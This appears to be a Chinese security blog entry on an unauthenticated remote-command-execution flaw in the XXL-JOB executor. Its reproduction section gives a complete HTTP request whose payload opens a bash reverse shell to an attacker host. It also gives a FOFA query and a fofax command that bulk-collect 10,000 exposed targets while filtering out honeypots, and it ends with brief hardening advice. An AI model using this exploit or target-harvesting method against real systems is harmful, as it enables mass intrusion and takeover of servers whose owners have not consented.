【漏洞库】XXL-JOB executor 未授权访问漏洞导致RCE

漏洞描述

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。

该问题本质上不属于 “漏洞”,官网版本提供了鉴权组件,开启即可进行防护。

该问题类似于将一台Mysql、Redis实例,不设置密码并开放给公网,严格来说不能因此说Mysql、Redis有漏洞,只需要设置密码即可。

漏洞编号

漏洞评级

高危

影响版本

XXL-JOB <= 2.2.0

漏洞复现

复现环境与复现参考链接:https://vulhub.org/#/environments/xxl-job/unacc/

- EXP 编写

POST /run HTTP/1.1
Host: 目标IP:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 391

{
  "jobId": 2,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "bash -i >& /dev/tcp/攻击者IP/攻击者监听端口 0>&1",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

执行以上EXP之后,我们可以GetShell,如下图:

image-20231103145113536

注意,我们编写的EXP只能用一次,如果第二次用其他命令就无法命令执行了,除非目标的服务重启,我们才能执行其他的命令,不然只能一直使用第一次用的EXP。

漏洞挖掘

fofa语法:

app="xxl-job" || icon_hash="1691956220" || title="任务调度中心"

批量收集资产:通过fofax工具,使用-e参数排除蜜罐干扰,然后通过fofa查找10000条数据并放入txt文件中

echo 'app="xxl-job" || icon_hash="1691956220" || title="任务调度中心"' | fofax -fs 10000 -e>xxl-job.txt

修复建议

  • 1、开启 XXL-JOB 自带的鉴权组件:官方文档中搜索 “xxl.job.accessToken” ,按照文档说明启用即可。
  • 2、端口防护:及时更换默认的执行器端口,不建议直接将默认的9999端口开放到公网。
  • 3、端口访问限制:通过配置安全组限制只允许指定IP才能访问执行器9999端口。
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yuan_boss

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值